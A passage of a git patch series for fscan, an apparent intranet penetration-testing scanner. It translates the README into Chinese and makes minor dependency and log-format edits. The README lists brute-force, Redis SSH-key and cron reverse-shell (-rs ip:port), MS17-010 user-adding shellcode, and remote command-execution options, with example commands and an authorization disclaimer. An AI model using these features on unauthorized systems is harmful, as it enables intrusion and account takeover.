(wmiexec无回显命令执行) ``` -Compile command +编译命令 ``` go build -ldflags="-s -w " -trimpath main.go -upx -9 fscan.exe (Optional, compressed) +upx -9 fscan.exe (可选,压缩体积) ``` -Installation for arch users -`yay -S fscan-git or paru -S fscan-git` +arch用户安装 +`yay -S fscan-git 或者 paru -S fscan-git` -Full parameters +完整参数 ``` -Usage of ./fscan: - -br int - Brute threads (default 1) -c string - exec command (ssh|wmiexec) + ssh命令执行 -cookie string - set poc cookie,-cookie rememberMe=login + 设置cookie -debug int - every time to LogErr (default 60) - -dns - using dnslog poc + 多久没响应,就打印当前进度(default 60) -domain string - smb domain - -full - poc full scan,as: shiro 100 key + smb爆破模块时,设置域名 -h string - IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 - -hash string - hash + 目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 -hf string - host file, -hf ip.txt + 读取文件中的目标 -hn string - the hosts no scan,as: -hn 192.168.1.1/24 + 扫描时,要跳过的ip: -hn 192.168.1.1/24 -m string - Select scan type ,as: -m ssh (default "all") + 设置扫描模式: -m ssh (default "all") -no - not to save output log + 扫描结果不保存到文件中 -nobr - not to Brute password + 跳过sql、ftp、ssh等的密码爆破 -nopoc - not to scan web vul + 跳过web poc扫描 -np - not to ping + 跳过存活探测 -num int - poc rate (default 20) + web poc 发包速率 (default 20) -o string - Outputfile (default "result.txt") + 扫描结果保存到哪 (default "result.txt") -p string - Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017") + 设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017") -pa string - add port base DefaultPorts,-pa 3389 + 新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口) -path string fcgi、smb romote file path -ping - using ping replace icmp + 使用ping代替icmp进行存活探测 -pn string - the ports no scan,as: -pn 445 + 扫描时要跳过的端口,as: -pn 445 -pocname string - use the pocs these contain pocname, -pocname weblogic - -pocpath string - poc file path - -portf string - Port File + 指定web poc的模糊名字, -pocname weblogic -proxy string - set poc proxy, -proxy http://127.0.0.1:8080 - -pwd string - password - -pwda string - add a password base DefaultPasses,-pwda password - -pwdf string - password file - -rf string - redis file to write sshkey file (as: -rf id_rsa.pub) - -rs string - redis shell to write cron file (as: -rs 192.168.1.1:6666) - -sc string - ms17 shellcode,as -sc add - -silent - silent scan - -socks5 string - set socks5 proxy, will be used in tcp connection, timeout setting will not work - -sshkey string - sshkey file (id_rsa) - -t int - Thread nums (default 600) - -time int - Set timeout (default 3) - -top int - show live len top (default 10) - -u string - url - -uf string - urlfile + 设置代理, -proxy http://127.0.0.1:8080 -user string - username - -usera string - add a user base DefaultUsers,-usera user + 指定爆破时的用户名 -userf string - username file - -wmi - start wmi + 指定爆破时的用户名文件 + -pwd string + 指定爆破时的密码 + -pwdf string + 指定爆破时的密码文件 + -rf string + 指定redis写公钥用模块的文件 (as: -rf id_rsa.pub) + -rs string + redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666) + -silent + 静默扫描,适合cs扫描时不回显 + -sshkey string + ssh连接时,指定ssh私钥 + -t int + 扫描线程 (default 600) + -time int + 端口扫描超时时间 (default 3) + -u string + 指定Url扫描 + -uf string + 指定Url文件扫描 -wt int - Set web timeout (default 5) + web访问超时时间 (default 5) + -pocpath string + 指定poc路径 + -usera string + 在原有用户字典基础上,新增新用户 + -pwda string + 在原有密码字典基础上,增加新密码 + -socks5 + 指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080) + -sc + 指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add) ``` -# 4. Demo +# 4. 运行截图 -`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)` +`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)` ![](image/1.png) ![](image/4.png) -`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)` +`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)` ![](image/2.png) -`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)` +`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)` ![](image/3.png) -`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)` +`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc` ![](image/2020-12-12-13-34-44.png) -`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)` +`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)` ![](image/netbios.png) -`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)` +`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)` ![](image/netbios1.png) -`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)` +`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)` ![img.png](image/live.png) -# 5. Disclaimer +# 5. 免责声明 -This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself. +本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 -In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target. +为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。 -When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**. +在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。** -If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability. +如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 -Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. . -Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement. +在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 +除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 # 6. 404StarLink 2.0 - Galaxy ![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png) -Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy),If you have any questions about fscan or want to find a partner to communicate with, you can adding groups. +fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。 - [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community) @@ -214,10 +200,10 @@ Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404S # 7. Star Chart [![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan) -# 8. Donation - If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png) +# 8. 捐赠 + 如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png) -# 9. Reference links +# 9. 参考链接 https://github.com/Adminisme/ServerScan https://github.com/netxfly/x-crack https://github.com/hack2fun/Gscan @@ -225,35 +211,35 @@ https://github.com/k8gege/LadonGo https://github.com/jjf012/gopoc -# 10. Dynamics -[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function -[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format. -[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc. -[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users. -Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default. -[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread. -[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito -[+] 2022/1/11 Add oracle password explosion. -[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default. -[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list) -[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability. -[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once. -[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection. -[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle. -[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc. -[+] 2021/4/22 Modify webtitle module and add gbk decoding. -[+] 2021/4/21 Add netbios detection and domain control identification functions. -[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs. -[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details. -[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA. -[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection. -Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds. -[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing. -[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users) -[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported. -[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module. -[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout). -[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B. -[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips. +# 10. 最近更新 +[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。 +[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。 +[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。 +[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 +新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。 +[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。 +[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito +[+] 2022/1/11 新增oracle密码爆破。 +[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。 +[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。 +[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。 +[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍。 +[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。 +[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。 +[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。 +[+] 2021/4/22 修改webtitle模块,加入gbk解码。 +[+] 2021/4/21 加入netbios探测、域控识别。 +[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。 +[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。 +[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。 +[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。 +修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。 +[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。 +[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。 +[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。 +[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。 +[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。 +[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。 +[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。 -[url-doczh]: README.md \ No newline at end of file +[url-docen]: README_EN.md From af1c30a86e9d43d0aa222de3516a9a94cdd75517 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:53:08 +0800 Subject: [PATCH 42/46] Update go.mod --- go.mod | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/go.mod b/go.mod index b876c52..37868d1 100644 --- a/go.mod +++ b/go.mod @@ -5,6 +5,7 @@ go 1.19 require ( github.com/C-Sto/goWMIExec v0.0.1-deva.0.20210704154847-b8ebd6464a06 github.com/denisenkom/go-mssqldb v0.12.2 + github.com/fatih/color v1.7.0 github.com/go-sql-driver/mysql v1.6.0 github.com/google/cel-go v0.13.0 github.com/hirochachacha/go-smb2 v1.1.0 @@ -26,7 +27,6 @@ require ( require ( github.com/BurntSushi/toml v0.3.1 // indirect github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect - github.com/fatih/color v1.15.0 // indirect github.com/geoffgarside/ber v1.1.0 // indirect github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/golang-sql/sqlexp v0.1.0 // indirect @@ -35,8 +35,8 @@ require ( github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 // indirect github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect - github.com/mattn/go-colorable v0.1.13 // indirect - github.com/mattn/go-isatty v0.0.19 // indirect + github.com/mattn/go-colorable v0.0.9 // indirect + github.com/mattn/go-isatty v0.0.3 // indirect github.com/stoewer/go-strcase v1.2.0 // indirect go.uber.org/atomic v1.5.0 // indirect go.uber.org/multierr v1.3.0 // indirect @@ -44,7 +44,7 @@ require ( go.uber.org/zap v1.14.0 // indirect golang.org/x/lint v0.0.0-20190930215403-16217165b5de // indirect golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect - golang.org/x/sys v0.10.0 // indirect + golang.org/x/sys v0.5.0 // indirect golang.org/x/tools v0.1.12 // indirect honnef.co/go/tools v0.0.1-2019.2.3 // indirect ) From 5cc16fe07969f899fc186dc9ed7a4d57ef6154a5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:53:32 +0800 Subject: [PATCH 43/46] Update go.sum --- go.sum | 14 +++----------- 1 file changed, 3 insertions(+), 11 deletions(-) diff --git a/go.sum b/go.sum index 49d8329..7dab195 100644 --- a/go.sum +++ b/go.sum @@ -45,9 +45,8 @@ github.com/denisenkom/go-mssqldb v0.12.2/go.mod h1:lnIw1mZukFRZDJYQ0Pb833QS2IaC3 github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ= +github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= -github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= -github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w= @@ -157,13 +156,10 @@ github.com/lib/pq v1.10.6/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 h1:EnfXoSqDfSNJv0VBNqY/88RNnhSGYkrHaO0mmFGbVsc= github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6wD6j7xX6O6hXe621WabdtNkou2h7uRtTfRMyg= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= +github.com/mattn/go-colorable v0.0.9 h1:UVL0vNpWh04HeJXV0KLcaT7r06gOH2l4OW6ddYRUIY4= github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= -github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= -github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= +github.com/mattn/go-isatty v0.0.3 h1:ns/ykhmWi7G9O+8a448SecJU3nSMBXJfqQkl0upE1jI= github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= -github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= -github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= -github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= @@ -348,12 +344,8 @@ golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA= -golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= From 7eb2bccde7fc73be0503de7b6efd3dc727608911 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:56:35 +0800 Subject: [PATCH 44/46] Update check.go --- WebScan/lib/check.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WebScan/lib/check.go b/WebScan/lib/check.go index 14e8316..572a202 100644 --- a/WebScan/lib/check.go +++ b/WebScan/lib/check.go @@ -33,7 +33,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { for task := range tasks { isVul, _, name := executePoc(task.Req, task.Poc) if isVul { - result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name) + result := fmt.Sprintf("[+] PocScan:%s %s %s", task.Req.URL, task.Poc.Name, name) common.LogSuccess(result) } wg.Done() From f51291512c1649d1cce308c418b9b4d883994d66 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:57:13 +0800 Subject: [PATCH 45/46] Update check.go --- WebScan/lib/check.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WebScan/lib/check.go b/WebScan/lib/check.go index 572a202..d97dd06 100644 --- a/WebScan/lib/check.go +++ b/WebScan/lib/check.go @@ -33,7 +33,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { for task := range tasks { isVul, _, name := executePoc(task.Req, task.Poc) if isVul { - result := fmt.Sprintf("[+] PocScan:%s %s %s", task.Req.URL, task.Poc.Name, name) + result := fmt.Sprintf("[+] PocScan: %s %s %s", task.Req.URL, task.Poc.Name, name) common.LogSuccess(result) } wg.Done() From b46090d1965de79e362c327db2a9c11aa3e9f5f3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 11:59:04 +0800 Subject: [PATCH 46/46] Update check.go --- WebScan/lib/check.go | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/WebScan/lib/check.go b/WebScan/lib/check.go index d97dd06..9490849 100644 --- a/WebScan/lib/check.go +++ b/WebScan/lib/check.go @@ -149,7 +149,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { // 先判断响应页面是否匹配search规则 if rule.Search != "" { result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) - if len(result) > 0 { // 正则匹配成功 + if result != nil && len(result) > 0 { // 正则匹配成功 for k, v := range result { variableMap[k] = v } @@ -161,6 +161,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { if err != nil { return false, err } + //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName())) //如果false不继续执行后续rule // 如果最后一步执行失败,就算前面成功了最终依旧是失败 flag, ok = out.Value().(bool) @@ -353,15 +354,15 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, if success { if rule.Continue { if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" { - common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) + common.LogSuccess(fmt.Sprintf("[+] PocScan: %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) } else { - common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap)) + common.LogSuccess(fmt.Sprintf("[+] PocScan: %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap)) } continue } strMap = append(strMap, tmpMap...) if i == len(p.Rules)-1 { - common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) + common.LogSuccess(fmt.Sprintf("[+] PocScan: %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) //防止后续继续打印poc成功信息 return false, nil }